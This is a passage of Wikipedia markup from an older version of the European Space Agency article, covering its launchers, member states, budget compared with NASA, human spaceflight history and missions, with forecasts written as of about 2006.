As the successor of the [[ELDO]], ESA has also constructed rockets for unmanned scientific and commercial payloads. [[Ariane 1]], launched in [[1979]], brought mostly-commercial payloads into orbit from [[1984]] onward. The next two developments of the Ariane rocket were intermediate stages in the development of a more advanced launch system, the [[Ariane 4]], which operated between [[1988]] and [[2003]] and would have established  ESA as the world leader in commercial space launches. However its successor, the currently used [[Ariane 5]] rocket, had starting problems. The first launch of the lightest variation of [[Ariane 5]] in [[1996]] failed as did the first flight of the [[Ariane 5|Ariane 5 ECA]], a heavy modification of Ariane, in [[2002]]. Despite these failures the [[Ariane 5]] rocket has established itself within the heavily competitive commercial space launch market since its first successful flight in [[1997]] and prospectively will reach 25 successful launches by [[2006]].

The beginning of the new millennium saw ESA become NASA's main competitor in scientific space [[research]]. While ESA had relied on cooperation with NASA in previous decades, especially the 1990s, changed circumstances (such as tough legal restrictions on information sharing by the American [[military]]) led to decisions to rely more on itself and on cooperation with Russia. A recent press issue thus stated: &lt;blockquote&gt;''Russia is ESA's first partner in its efforts to ensure long-term access to space. There is a framework agreement between ESA and the government of the Russian Federation on cooperation and partnership in the exploration and use of outer space for peaceful purposes, and cooperation is already under way in two different areas of launcher activity that will bring benefits to both partners.'' {{ref|russia}}&lt;/blockquote&gt;
Most notable for its new self-confidence are ESA's own recent successful missions [[Smart-1]], a probe testing cutting-edge new space propulsion technology, the [[Mars Express]] mission as well as the development of the [[Ariane 5]] rocket.

===ESA's further goals and aims===
[[image:Venus express.jpg|thumb|right|250px|[[Venus Express]] was launched near the end of [[2005]]]]

ESA has ambitious space plans that may be divided into three large categories. First, ESA will maintain its scientific and research projects (e.g. tests and developments of new propulsion systems), try to find ways to reduce costs for their rocket fleet while enhancing their capacities, honour its commitments regarding the [[International Space Station|ISS]] and engage in further [[space exploration]] like the [[Venus Express]] mission that was launched in late [[2005]]. The second category has many parallels to NASA's plans and constitutes of astronomy-space missions such as the [[Planck Surveyor|Planck]] probe studying the cosmic microwave background (2007), the [[Herschel Space Observatory|Herschel]] space observatory (2006), [[Corot (astronomy)|Corot]] that will be a milestone in the search for [[exoplanets]] and is due to launch in [[June]] [[2006]] or the [[Darwin (ESA)|Darwin]] interferometer. [[Darwin (ESA)|Darwin]] will mark the last step in the ultimate goal of discovering more [[exoplanets]] and the first [[Earth]]-size [[planet]] outside our [[solar system]].

While the projects described above are more or less similar in their structure and aim as NASA's and other space agencies' plans, the ESA's [[Mars]] project is different. The [[Aurora Programme]] lays out a time table for future missions to [[Mars]], however in contrast to NASA's plans there is no emphasis on manned or unmanned [[Moon|lunar]] missions, it rather includes several ''flagship'' missions designed to develop and test technology needed for a manned [[European]] [[Mars]] mission currently planned for [[2030]]. Among these flagship missions is [[ExoMars]], a mission involving a [[Mars rover]]. Until [[2005]] [[ExoMars]] was planned to be a joint mission between NASA and ESA, however obstacles such as American technology law that prohibits sharing of classified space technology information led to ESA deciding to go for it alone. The mission is currently planned to launch in [[2011]]. An even more ambitious [[Mars]] project is the [[Mars Sample Return Mission]], that is planned as a follow-up mission to [[ExoMars]]. It will involve the first time a probe will return of samples from another planet, making it necessary to construct an ascent module that is capable of starting into Mars orbit and dock with the original probe.

==Member countries, budget and organisations==
===Member countries and strategic partners===
[[Image:ESA-members-map.png|thumb|right|300px|Member states of the European Space Agency]]
ESA comprises the national space organisations and other entities of these seventeen countries: 
[[Austria]], [[Belgium]], [[Denmark]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Republic of Ireland|Ireland]], [[Italy]], [[Luxembourg]], the [[Netherlands]], [[Norway]], [[Portugal]], [[Spain]], [[Sweden]], [[Switzerland]] and the [[United Kingdom]].{{ref|luxembourg}}  

Many countries are likely to join ESA in the coming years, especially the countries who were part of the EU-enlargement in 2004. In addition ESA entered into important partnership agreements with non-member countries:

*[[Hungary]], the [[Czech Republic]] and [[Romania]][http://www.esa.int/esaCP/SEMI2HMVGJE_Benefits_0.html] signed the five-year Plan for European Cooperating State (PECS), that is aimed at preparing the states for full membership. Their firms can bid for and receive contracts to work on programmes. The countries can participate in almost all programmes, except for the Basic Technology Research Programme. The membership fees are much lower than with full membership.
*[[Poland]] is likely to be the next to sign PECS documents.
*Since [[January 1]], [[1979]], [[Canada]] has the special status of cooperating state with the ESA.  By virtue of this accord, Canada takes part in ESA's deliberative bodies and decision-making and also in ESA's programmes and activities.  Canadian firms can bid for and receive contracts to work on programmes.  The accord has a provision ensuring a fair industrial return to Canada.  '''See also:''' [[Canadian Space Agency]]
*ESA has entered into a major joint venture with [[Russia]] (see below).
*Since China started to invest more money into space activities, the [[Chinese Space Agency]] has sought international partnerships. ESA is, beside the [[Russian Space Agency]], one of its most important partners. Recently the two space agencies cooperated in the development of the [[Double Star Mission]].

===Relationship with the EU===

Currently, ESA is not within the structures of the [[European Union]] (EU)  &amp;mdash; note that its membership contains non-EU countries such as Switzerland and Norway. Switzerland and Norway '''are''' however, within the EU's [[EFTA]] union. There are ties between the organisations, with various agreements in place and being worked on, to establish the legal status of ESA with regard to the EU {{ref|esaeu}}. There are common goals between ESA and the EU, and ESA has an EU liaison office in Brussels. The EU in particular wishes to secure political control of Europe's space access, an issue of vital importance for Europe's political and economic role in the world.

===Budget===
[[Image:Soyuz TMA-3 launch.jpg|thumb|right|270px|European-Russian owned [[Soyuz launch vehicle]] will be launched from ESA's spaceport in [[French Guiana]] beginning in 2007]]

====Overall budget====
The budget of ESA was announced as €2.977 billion for 2005 (a ten percent increase to 2004) and is estimated for 2006 as €2.904 billion [http://www.esa.int/esaCP/SEMFEPYV1SD_index_0.html]. A large part of ESA's budget is invested in ESA's launch vehicles that are currently the most expensive part of ESA's activities (Twenty-two per cent of the budget goes into launch vehicles; human space flight is second in budget expenditures). In 2005, the three largest contributors, together funding two thirds of ESA's budget, are France (29.3%), Germany (22.7%) and Italy (14.2%). {{ref|esabudget}}

An important ministerial conference approved nearly all of ESA's budget requests in December 2005. The budget for the mandatory ESA program, parts of the optional program (i.e. optional for ESA's member states such as the ISS involvment) as well as important projects such as [[Aurora]] or the EU-backed [[Galileo]] navigation system have been approved. No decision has been reached with regard to ESA's involvement in the Russian [[Kliper]] project, a feasibility study worth €50 million was not approved. [http://www.esa.int/esaCP/SEMFEPYV1SD_index_0.html] ESA's budget will stay at about the same, however inflation-adjusted, level as 2005 throughout the next 5 years.

====Comparison to NASA====
In comparison with NASA's budget of sixteen billion [[United States dollar|dollars]] (€13 billion), ESA's budget of €3 billion superficially looks considerably less. However in order to make a true comparison between American and European funding of space related activities more factors have to be considered:

# Unlike the US, Europe maintains both ESA and national space agencies (see below). These national space agencies do have considerable budgets provided for scientific research and joint projects with ESA. For instance, the [[German Aerospace Center]] (German acronym DLR) has a separate budget for 2005 of €760 million {{ref|dlrbudget}} and the French [[CNES]]'s own budget for 2004 was €1.3 billion. Taking the budgets of all national space agencies together and adding them to ESA's figures would more than double the amount spent by Europe for space related activities.
# Some highly expensive European space projects are not within ESA's budget, such as the [[Galileo_positioning_system|Galileo]] global positioning system. Funding for this €4 billion project comes from special agreement's between EU members.
# Considerable costs are incurred by NASA in maintaining the ageing [[Space Shuttle]]. A single Space Shuttle launch costs more than $600 million and during the last decades up to one third of NASA's budget had to be invested in the Shuttle to keep it flying (for 2005, $5 billion are allocated for the Space Shuttle constituting 30% of the budget {{ref|nasabudget}}). Although ESA had plans for an own manned spacecraft such as [[Hermes (shuttle)|Hermes]], it has never actually developed or maintained a manned launch system, rather it has paid for seats on the American and Russian spacecrafts, and therefore was and is not burdened with the costs of human space flights. In the last years ESA has become interested in the Russian built but jointly owned [[Soyuz spacecraft|Soyuz]] (controlled by [[Starsem]] it is owned by [[EADS]], ESA and the Russian Space Agency) that is capable of human space flight and will further decrease costs for European manned missions (see below). One Soyuz launch costs approximately $30 million. {{ref|soyuzlaunch}} For a true comparison between the budgets, this major difference has between NASA and ESA should be taken into account.
# While NASA's funding of many research projects has been cut in the recent years and months in order to free money for the development of the [[Crew Exploration Vehicle]] and for the retirement of the Space Shuttle, ESA's investment in research and development projects has increased steadily in the last years. With the joining of new ESA member states the budget is likely to increase further.
# After the [[space race]] activities of the 1960s and early '70s, NASA has maintained a huge administration and bureaucracy that still burdens both current projects and NASA budgets. ESA was never involved in large-scale political activity such as the space race, it therefore has always had a small and efficient structure and agency level comparable to a private company.

====Comparison to other space agencies====
In terms of absolute Euros (Dollars), ESA has the second largest budget after NASA, with the Japanese [[JAXA]] having annual funds of €1.6 thousand million at its disposal {{ref|jaxabudget}} taking the third place, followed by the ambitious Chinese Space Agency with around €1 billion and the [[Russian Space Agency]] which incurred a considerable boost in funding in 2006 with an annual federal budget of $800-900 million {{ref|russianbudget}}. The [[Indian Space Agency]] has about the same amount of funds available as Russia. If not counted as part of Europe's total space budget together with ESA's 3 billion space budget (as outlined above) and other European space agencies, the [[French Space Agency]] would be in 4th place with €1.3 billion.

One point in favour of the Russian Space Agency, the Chinese and the Indian space programs, is that their budgets are growing rapidly largely stemming from the high growth rates of their economies, which leads to increasing amounts of money available with the government.

It should be noted that space programs have high labour costs, thus in order to compare the actual funds available for each space agency some adjustment with regard to [[purchasing power parity]] in each country should be made. As PPP is 5.5 for India and 4.5 for China, their space program budgets are actually worth more than the absolute euro/dollar figures. Still, considering that Russia, Europe, the US, China, India and Japan are all competing in commercial space launches and costs for rocket launches are in the same range for all of the forementioned countries, it seems that a modifier lower than 4 or 5 would be warranted for a true comparison of national space funding. A very good example of the true comparison of funding is the Russian Space Agency which partly due to its large experience in LEO manned space flight but also due to a higher [[purchasing power parity]] could sustain a manned space program comparable to [[NASA]] throughout the last 15 years despite its dramatically lower budget.

===Notable national space agencies===
*The ''[[CNES|Centre National d'Études Spatiales]]'' (CNES) (National Centre for Space Study) is the French government space agency (administratively, a &quot;public establishment of industrial and commercial character&quot;). Its headquarters are in central [[Paris]].
*The [[Italian Space Agency]] (''Agenzia Spaziale Italiana'' or ASI) was founded in [[1988]] to promote, coordinate and conduct space activities in Italy. Operating under the Ministry of the Universities and of Scientific and Technological Research, the agency cooperates with numerous entities active in space technology and with the president of the Council of Ministers. Internationally, the ASI provides Italy's delegation to the Council of the European Space Agency and to its subordinate bodies.
*The German Aerospace Center (DLR) (German: ''Deutsches Zentrum für Luft- und Raumfahrt e. V.'') is the national research centre for aviation and space flight of the Federal Republic of Germany and of other member states in the [[Helmholtz Association]]. Its extensive research and development projects are included in national and international cooperative programmes. In addition to its research projects, the centre is the assigned space agency of Germany bestowing headquarters of German space flight activities and its associates.
*The [[British National Space Centre]] (BNSC) is a partnership of the UK government departments which are active in space. Through the BNSC the partners provide delegates to represent the UK on the various ESA governing bodies. Each partner funds its own programme.

==Launch vehicle fleet==
[[Image:1Ariane5LaunchArianespace.jpg|thumb|right|250px|[[Ariane 5]] launched ESA's [[Rosetta space probe]] in March 2004.]]
ESA has made great progress towards its goal of having a complete fleet of launch vehicles in service, competing in all sectors of the launch market. ESA's fleet will soon consist of three major rocket designs, [[Ariane 5]], [[Soyuz launch vehicle|Soyuz]] and [[Vega (launcher)|Vega]]. Rocket launches are carried out by [[Arianespace]], an ESA subsidiary (a minority share is held by [[EADS]] as well), at ESA's [[spaceport]] in French Guiana. Because many communication satellites have equatorial orbits, launches from French Guiana are able to take larger payloads into space than from other northern spaceports.

===Ariane 5===
The [[Ariane 5]] rocket is the primary launcher of the ESA. Its maximum estimated [[payload]] is 6-10 metric tons to [[Geostationary transfer orbit|GTO]] and up to 21 metric tons to [[Low earth orbit|LEO]]. The launch craft has been in service since [[1997]] and replaced the [[Ariane 4]]. The Ariane rocket exists in several specifications, the heaviest one of these is the [[Ariane 5 ECA]] that has been successfully launched in February 2005 for the first time, after it failed during its first test flight in 2002. {{ref|ariane}}

ESA's [[Ariane]] [[Ariane 1|1]], [[Ariane 2|2]], [[Ariane 3|3]] and [[Ariane 4|4]] launchers (the latter of which was ESA's long time workhorse) have been retired.

===Soyuz launch vehicle===
[[Soyuz launch vehicle|Soyuz]] is a Russian medium [[payload]] (ca. 3 metric tons to [[Geostationary transfer orbit|GTO]]) launcher to be brought into ESA service in [[2007]] {{ref|soyuz2}}.ESA has entered into a 340 million euro joint venture with the [[Russian Federal Space Agency]] over the use of the Soyuz launcher {{ref|soyuzcoop}}. Under the agreement, the Russian agency will manufacture Soyuz rocket parts for ESA, which will then be shipped to French Guiana for assembly. ESA benefits because it gains a medium [[payload]]s launcher, complementing its fleet while saving on development costs. In addition, the Soyuz rocket &amp;mdash; which has been the Russian's space launch workhorse for some 40 years &amp;mdash; is proven technology with a good safety record, which ESA might be happy to use for launching humans into space. 
Russia also benefits in that it will get access to the Kourou launch site. Launching from Kourou rather than [[Baikonur]] will allow the Russians to almost double the Soyuz payload (3.0 tonnes vs. 1.7 tonnes), because of Kourou's closer proximity to the equator. Both sides benefit from the long term strategic cooperation that in addition will be used to jointly develop future technology. 
It is perhaps worth noting that France (ESA's largest contributor) has historically had good relations with Russia, which contributed to reaching the agreement. (See [http://stream1.euronews.net:8080/ramgen/mag/space-soyouz-en.rm?usehostname EuroNews report about the joint venture] (Real video stream).)

===Vega===
[[Vega (launcher)|Vega]] is ESA's small payload (ca. 1.5 metric tons to 700 km orbit) launcher; its first launch is planned for [[2007]] {{ref|Vega}}. The leading ESA's member state for the Vega Programme is [[Italy]] contributing 65% of the costs. Vega itself has been designed to be a body launcher with three solid propulsion stages and an additional [[liquid propulsion]] upper module to place the cargo into the exact orbit intended. For a small-cargo rocket it is remarkable that Vega will be able to place multiple [[payload]]s into orbit.

''See also: [http://esamultimedia.esa.int/docs/VEGAbrochure.pdf ESA's Vega Brochure]''

==Human space flight==

===History===
[[image:Chretien2.jpg|thumb|right|200px|[[Jean-Loup Chrétien]] became the first Western European to fly into space]]
At the time ESA was formed its main goals did not encompass human space flight, rather it considered itself to be primarily a scientific research organisation for unmanned space exploration in contrast to its American and Soviet counterparts. It is therefore not surprising that the first non-Soviet European in space was not an ESA astronaut on a European space craft: It was  [[Czechoslovakian]] [[Vladimir Remek]] who in [[1978]] became the first non-soviet European in space (the truly first European in space being Yuri Gagarin of the Soviet Union) - on a [[Soviet]] [[Soyuz spacecraft]], followed by the [[Poles|Pole]] [[Mirosław Hermaszewski]] and [[East German]] [[Sigmund Jähn]] in the same year. This [[Soviet]] cooperation programme named [[Intercosmos]] primarily involved the participation of [[Eastern bloc]] countries, however in [[1982]] [[Jean-Loup Chrétien]] became the first western European cosmonaut on a flight to the [[Soviet]] [[Salyut 7]] space station.

Because Chrétien did not officially fly into space as an ESA astronaut, but rather as a member of the French [[CNES]] astronaut corps, the German [[Ulf Merbold]] is considered the first ESA astronaut ever to fly into space. He participated in the [[STS-9]] space shuttle mission that included the first use of the European built [[Spacelab]] in [[1983]]. STS-9 marked the beginning of an intensive ESA/NASA joint partnership that included dozens of space flights of ESA astronauts in the following years. Beside paying for seats on the [[Space Shuttle]] ESA continued its human space flight cooperation with the [[Soviet Union]] and later [[Russia]], including numerous visits to [[Mir]].

During the latter half of the 1980s European human space flights changed from being the exception to rather constituting a routine and therefore in 1990 the [[European Astronaut Centre]] that is situated in [[Cologne]], [[Germany]] was established. It selects and trains prospective astronauts and is responsible for the coordination with international partners especially with regards to the [[International Space Station]]. [[As of 2005]] the ESA corps officially counts 18 members, including nationals from all big European countries except the [[United Kingdom]].

===ESA Astronaut Corps===
[[Image:ESAastronauts.jpg|thumb|left|270px|ESA astronauts]]

[[Pedro Duque]] (E), [[Gerhard Thiele]] (D), [[Jean-François Clervoy]] (F), [[Umberto Guidoni]] (I), [[Léopold Eyharts]] (F), [[Reinhold Ewald]] (D), [[Roberto Vittori]] (I), [[Claude Nicollier]] (CH). [[Paolo Nespoli]] (I), [[Thomas Reiter]] (D), [[Christer Fuglesang]] (S), [[Frank De Winne]] (B), [[Michel Tognini]] (F), [[Hans Schlegel]] (D), [[Philippe Perrin]] (F), [[André Kuipers]] (NL).

ESA astronauts to have visited the ISS are:
*U. Guidoni (I), ESA, 9th ISS flight (6A) Raffaello [[MPLM]], STS-100/ISS, 19/04/01 - 01/05/01
*[[Claudie Haigneré|C. Haigneré]] (F), CNES Andromède, Soyuz/ISS, 21/10/01 - 31/10/01
*R. Vittori (I), ASI Marco Polo, Soyuz/ISS, 25/04/02 - 05/05/02
*Ph. Perrin (F), NASA/ESA, ISS assembly flight UF-2, STS-111/ISS, 05/06/02 - 19/06/02 (''Remark: was a CNES, not an ESA astronaut at the time of his mission'')
*F. De Winne (B), ESA, Odissea, Soyuz/ISS, 30/10/02 - 10/11/02
*P. Duque (E), ESA, Cervantes, Soyuz/ISS	18/10/03 - 28/10/03
*A. Kuipers (NL), ESA, DELTA Mission, 8S/ISS, 19/04/04 - 30/04/04
*R. Vittori (I), ASI Eneide, Soyuz/ISS, 15/04/05 - 25/04/05

===ESA's own manned launch vehicles===
In the 1980s France pressed for an independent European manned launch vehicle. Around 1985 it was decided to pursue a reusable spacecraft model and starting in November 1987 a project to create a mini-shuttle by the name of [[Hermes (shuttle)|Hermes]] was introduced. The craft itself was modelled comparable to the first proposals of the [[Space Shuttle]] and constituted of a small reusable spaceship that would carry 3 to 5 astronauts and 3 to 4 metric tons of payload for scientific experiments. With a total maximum weight of 21 metric tons it would have started from the parallelly developed [[Ariane 5]] rocket. It was planned solely for use in LEO space flights. The planning and pre-development phase concluded in [[1991]], however the production phase was never fully implemented because at that time the political landscape had changed significantly. With the fall of the [[Soviet Union]] ESA looked forward to a cooperation with [[Russia]] to built a next-generation human space vehicle. Thus the [[Hermes (shuttle)|Hermes]] programme was cancelled in [[1995]] after about 3 billion dollars had been invested.

In the 21st century ESA started new programmes in order to create an own manned spacecraft, most notably among its various projects and proposal is [[Hopper (spacecraft)|Hopper]] where a prototype built by [[EADS]] called [[EADS Phoenix|Phoenix]] has already been tested. While projects such as [[Hopper (spacecraft)|Hopper]] are neither concrete nor to be realised within the next decade, a more interesting possibility has emerged recently. After talks with the [[Russian Space Agency]] in [[2004]] and [[June]] [[2005]] {{ref|kliper}} a cooperation between ESA and the [[Russian Space Agency]] was announced to jointly work on the Russian designed [[Kliper]] shuttle, a reusable spacecraft that would be available for space travel beyond mere LEO (e.g. the moon or even Mars). [[Kliper]] constitutes the [[Russia|Russian]] counterpart to the American [[Crew Exploration Vehicle]] program. It was speculated that Europe could finance the bulk of the development costs of an estimated 3 thousand million euros and that [[Kliper]] would be jointly built and later be able to take off both from [[French Guiana]] and [[Baikonur]]. 

However ESA's participation, which was expected to be approved in December 2005, was finally not validated by the ESA member states. As a consequence, the participation of ESA remains an outstanding question. The situation is that the executive of ESA and its Human Spaceflight Directorate support Kliper, while the main contributing countries, and in particular Germany, Italy and France, adamantly oppose the initiation of a new human space transportation project, since they consider robotic exploration as their priority. 

[[Kliper]] may see its first launch as early as [[2011]].

==ESA projects==

===International Space Station===
[[Image:ISS Columbus module.jpg|thumb|right|220px|The [[Columbus orbital facility]] is a module of the [[International Space Station]](ISS) that ESA developed.]]

With regard to the [[International Space Station|ISS]] ESA is not representing all its member states: 5 of the 16 countries have opted out because of either concerns on the expenses of the project or lack of interest. ESA is taking part in the construction and operation of the [[International Space Station|ISS]] with contributions such as the [[Columbus orbital facility]], a science laboratory module that will be brought into orbit after NASA's [[Space Shuttle]] goes back into service or the [[Cupola (ISS)|Cupola]] observatory module that was completed in July 2005 by [[Alenia Aeronautica|Alenia Spazio]] for ESA. The current estimates for the ISS are approaching 100 billion USD in total (development, construction and 10 years of maintaining the station) of which ESA has committed itself to pay 8 thousand million euros {{ref|ISS}}. About 90 per cent of the costs of ESA's ISS share will be contributed by Germany (41 per cent), France (28 per cent) and Italy (20 per cent). German ESA astronaut [[Thomas Reiter]] is planned be the first long-term ISS crew member in mid [[2006]].

[[As of 2005]], the spacecrafts that establish the supply link to the [[International Space Station|ISS]] are the [[Progress spacecraft|Progress]] and [[Soyuz spacecraft|Soyuz]] spacecrafts as well as the [[Space Shuttle]]. The European Space Agency has started to construct a space freighter for the [[International Space Station|ISS]], the [[ATV (spacecraft)|ATV]], an ''Automated Transfer vehicle'' with a cargo capacity of 8 metric tons that will be serving the [[International Space Station|ISS]] beginning [[2007]] {{ref|ATV}}. With the [[Space Shuttle]] reaching its retirement age in [[2010]], until [[NASA]] has a replacement for it (the [[Crew Exploration Vehicle|CEV]] is not expected to make its first operational manned flight before [[2012]]) the [[ATV (spacecraft)|ATV]] together with Progress, Soyuz and the Japanese transporter [[H-II Transfer Vehicle|HTV]] (which will be ready in 2008) will be the only links between Earth and the [[International Space Station|ISS]].

===Current projects already launched===
[[Image:Artemissilex.JPG|thumb|right|220px|ESA's Artemis performing laser-communication with SPOT4(France).]]

* [[Artemis (satellite)|Artemis]] Europe's most advanced telecommunication satellite
* [[Cluster mission|Cluster-2]] a group of four probes studying the magnetosphere.
* [[Double Star Mission]] probe to study effects of the sun on Earth (in cooperation with [[China]])
* [[Envisat]] is the world's largest and most complex environmental satellite.
* [[ERS-2]] is an earth-observing satellite launched in [[1995]]. It is the successor to [[ERS-1]].
* [[GIOVE-A]] Experimental satellite launched Dec 2005 as forerunner for the [[Galileo positioning system]]
* [[Hubble Space Telescope]] built and operated in cooperation with [[NASA]]
* [[Huygens probe]] a space probe to [[Saturn (planet)|Saturn]]'s moon [[Titan (moon)|Titan]]
* [[INTEGRAL|Integral]] the most sensitive gamma-ray observatory ever launched ([[2002]])
* [[Mars Express]] a space probe to [[Mars (planet)|Mars]]
* [[Rosetta space probe|Rosetta]] a  space probe launched in [[2004]] that will explore comet [[67P/Churyumov-Gerasimenko]] in [[2014]].
* [[Smart 1]] a lunar spaceprobe testing new propulsion technology
* [[Solar and Heliospheric Observatory|SOHO]] a space-based observatory to study the sun (together with [[NASA]])
* [[Ulysses (spacecraft)|Ulysses]] built and operated in cooperation with [[NASA]]
* [[XMM-Newton]] an X-ray observatory satellite.
* [[Venus Express]] &amp;mdash; a space probe to [[Venus (planet)|Venus]] which was launched in Nov 2005.

===Current projects to be launched in the near future===
* [[Atmospheric Re-entry Experimental Vehicle]] (AREV) Lifting body experimental vehicle to be launched [[2007]] ([[Kliper]] look alike)
* [[ADM-Aeolus]] &amp;mdash; Due for launch in [[2007]] will measure global wind profiles 
* [[BepiColombo]] space probe to [[Mercury (planet)|Mercury]]
* [[Chandrayaan|Chandrayaan-1]] Indian space probe to the [[Moon]] that will carry ESA-made instruments (to be launched 2007)
* [[Corot (astronomy)|Corot]] &amp;mdash; a space telescope for detecting rocky exoplanets larger than Earth. A project led by [[CNES]]
* [[CryoSat]] &amp;mdash; a three-year radar altimetry mission to determine variations in the thickness of the Earth’s continental ice sheets and marine ice cover. In October 2005 the launcher failed and CyroSat was lost. ESA is evaluating the cost of rebuilding the lost satellite, and, if funds are available, it may be able to launch it in about 3 years time.
* [[ExoMars]] Mars spacecraft and rover to be launched 2011
* [[Galileo positioning system]] a proposed [[satellite positioning system]]
* [[Gaia probe]] space telescope to make a 3-D chart of the galaxy 
* [[Herschel Space Observatory]] a space telescope that will be launched together with [[Planck Surveyor]] in [[2007]]
* [[KEO]] The ESA is sponsoring the [[KEO]] satellite, which will carry messages addressed to future inhabitants of the planet [[Earth]] (a [[time capsule]] expected to return in the year 52006).
* [[JWST]] planned successor to the [[Hubble Space Telescope]] (together with [[NASA]])
* [[LISA Pathfinder]] (aka Smart-2)

===Future projects===
[[image:Phoenix pose.jpg|thumb|right|220px|EADS Phoenix]]

* [[Aurora Programme]] space exploration programme for manned and unmanned exploration of [[Mars]] and other planets in our solar system
* [[Cosmic Vision]] a programme of space science missions for 2015 - 2025
* [[EADS Phoenix]] a possible European unmanned reusable launch system (following [[Hermes (shuttle)|Hermes]])

===Past projects===
* [[Hipparcos]] &amp;mdash; a space-based [[astrometry]] mission
* [[Giotto mission]] &amp;mdash; first deep space mission of ESA, which went to [[Comet Halley]]
* [[Infrared Space Observatory|ISO]] &amp;mdash; Infrared Space Observatory
* [[Cos-B]] &amp;mdash; first project of ESA after foundation (in 1975)
* [[International Ultraviolet Explorer|IUE]] &amp;mdash; ultraviolet astronomical space observatory

==Field installations==
*[[Headquarters]] of ESA, [[Paris]], [[France]]
*[[European Space Operations Centre]] (ESOC), [[Darmstadt]], [[Germany]]
*[[Centre Spatial Guyanais]], [[Kourou]], [[French Guiana]]
*[[European Space Research and Technology Centre]] (ESTEC), [[Noordwijk]], [[Netherlands|The Netherlands]]
*[[European Space Research Institute]] (ESRIN), [[Frascati]], [[Italy]]
*[[European Astronaut Centre]] (EAC), [[Cologne]], [[Germany]]

==See also==
*[[Orfeo Programme]] &amp;mdash; the European high-resolution Earth observation programme
*[[Space exploration]]
*[[EUMETSAT]]
*[[NASA]]
*[[Arianespace]]
*[[Esrange]]

==Notes==
#{{Note|Jaxainterview}} Interview with Jean-Jacques Dordain by Jaxa in 2005. [http://www.jaxa.jp/news_topics/interview/vol4/index_e.html]
#{{Note|russia}} ESA website article on cooperation (especially with Russia). [http://www.esa.int/SPECIALS/Launchers_Home/SEMCDI1PGQD_0.html] 
#{{Note|luxembourg}} Following its ratification of the ESA Convention, Luxembourg has become ESA's 17th Member State with effect from [[30 June]] [[2005]].
#{{Note|esaeu}} ESA information on its relationship to the EU. [http://www.esa.int/esaCP/SEMFEPYV1SD_index_0.html]
#{{Note|esabudget}} Figures regarding the ESA budget and the three biggest contributors to it. [http://eu.spaceref.com/news/viewsr.html?pid=15342]
#{{Note|dlrbudget}} Budget figures of the German DLR (in German). [http://www.dlr.de/dlr/Unternehmen]
#{{Note|nasabudget}} PDF-file with detailed information to NASA's budget for 2005. [http://www.nasa.gov/pdf/115071main_FY05_op_plan_may.pdf]). 
#{{Note|soyuzlaunch}} Article on the new Russian Kliper spacecraft with a reference to actual Soyuz costs. [http://www.msnbc.msn.com/id/6623693/]
#{{Note|jaxabudget}} Article on the Japanese Space Agency and its budget constraints. [http://www.space.com/news/jaxa_trouble_050428.html]
#{{Note|russianbudget}} Article on the Russian Space Agency and its budget constraints. [http://www.cdi.org/friendlyversion/printversion.cfm?documentID=2513]
#{{Note|ariane}} Information on Ariane 5 provided by ESA. [http://www.esa.int/SPECIALS/Launchers_Access_to_Space/SEM9UD67ESD_0.html]
#{{Note|soyuz2}} Article by ESA on the launch date of Soyuz from French Guiana. [http://www.esa.int/SPECIALS/Launchers_Access_to_Space/SEMQ5P57ESD_0.html]
#{{Note|soyuzcoop}} ESA information on the cooperation with Russia on the Soyuz spacecraft. [http://www.esa.int/SPECIALS/Launchers_Home/SEMCDI1PGQD_0.html]. 
#{{Note|Vega}} ESA information on the new Vega rocket. [http://www.esa.int/SPECIALS/Launchers_Access_to_Space/SEMH3E67ESD_0.html]
#{{Note|kliper}} Article in the Guardian from May 22, 2005 [http://www.guardian.co.uk/space/article/0,14493,1489679,00.html]
#{{Note|ISS}} ESA website on the International Space Station and its share of the cots. [http://www.esa.int/esaHS/ESAQHA0VMOC_iss_0.html]
#{{Note|ATV}} ESA website on the Automatic Transfer Vehicle. [http://www.esa.int/SPECIALS/ATV/ESA4ZJ0VMOC_0.html]

==References==
* Bonnet, Roger; Manno, Vittorio (1994). International Cooperation in Space: The Example of the European Space Agency (Frontiers of Space). Harvard University Press. ISBN 0674458354. 
* Johnson, Nicholas (1993). Space technologies and space science activities of member states of the European Space Agency. ASIN B0006P4W08 .
* Peeters, Walter (2000). Space Marketing: A European Perspective (Space Technology Library). ISBN 0792367448.  
* Zabusky, Stacia (2001). Launching Europe: An Ethnography of European Cooperation in Space Science. ISBN B00005OBX2.
* Harvey, Brian (2003). Europe's Space Programme: To Ariane and Beyond. ISBN 1852337222.

==External links==
*[http://www.esa.int ESA website]
*[http://encarta.msn.com/European_Space_Agency.html Encarta on ESA]
*[http://www.dw-world.de/dw/article/0,1564,1248176,00.html DW-World 2004 Europe's Great Space Race]
*[http://www.unieurope.org/showarticle.php?id=745 European - American rivalry, a new space race?] 
*[http://europa.eu.int/comm/space/themes/strategy_space_en.html EUROPA Website: A European strategy for space]
*[http://www.spacetelescope.org European Homepage for the Hubble Space Telescope]
*[http://www.theaustralian.news.com.au/common/story_page/0,5744,8585135%255E27703,00.html Europe and NASA in space race to dig up dirt on Mars]
*[http://www.esa.int/SPECIALS/Aurora/ ESA Aurora pogramme for space exploration]
*[http://www.esa.int/esaCP/SEM2VV1DU8E_index_0.html Alcatel Space delivers EGNOS to ESA]
*[http://www.alcatel.com/space/ Alcatel Space]
*[http://www.eads.net EADS Company]
*[http://sseti.gte.tuwien.ac.at/WSW4/ SSETI]
*[http://www.janes.com/aerospace/civil/news/jar/jar060118_1_n.shtml US frets over satellite lead] Article about Galileo from Jane's 
*[http://www.hudsonfla.com/ujklich.htm ESA's expansion into Central Europe though PECS]
{{National space programmes}}

[[Category:European Space Agency|European Space Agency]]
[[Category:1975 establishments]]

[[zh-min-nan:Europa Thài-khong Chóng-sú]]
[[ca:Agència Espacial Europea]]
[[cs:Evropská kosmická agentura]]
[[da:ESA]]
[[de:European Space Agency]]
[[et:Euroopa Kosmoseagentuur]]
[[es:Agencia Espacial Europea]]
[[fr:Agence spatiale européenne]]
[[gl:ESA]]
[[it:Agenzia Spaziale Europea]]
[[he:סוכנות החלל האירופית]]
[[hu:ESA]]
[[nl:Europese Ruimtevaartorganisatie]]
[[ja:欧州宇宙機関]]
[[no:Den europeiske romfartsorganisasjonen]]
[[pl:Europejska Agencja Kosmiczna]]
[[pt:Agência Espacial Europeia]]
[[ro:Agenţia spaţială europeană]]
[[ru:Европейское космическое агентство]]
[[scn:ESA]]
[[sk:Európska vesmírna agentúra]]
[[sl:Evropska vesoljska agencija]]
[[sr:Европска Свемирска Агенција (ЕСА)]]
[[fi:Euroopan avaruusjärjestö]]
[[sv:Europeiska rymdorganisationen]]
[[zh:欧洲航天局]]</text>
    </revision>
  </page>
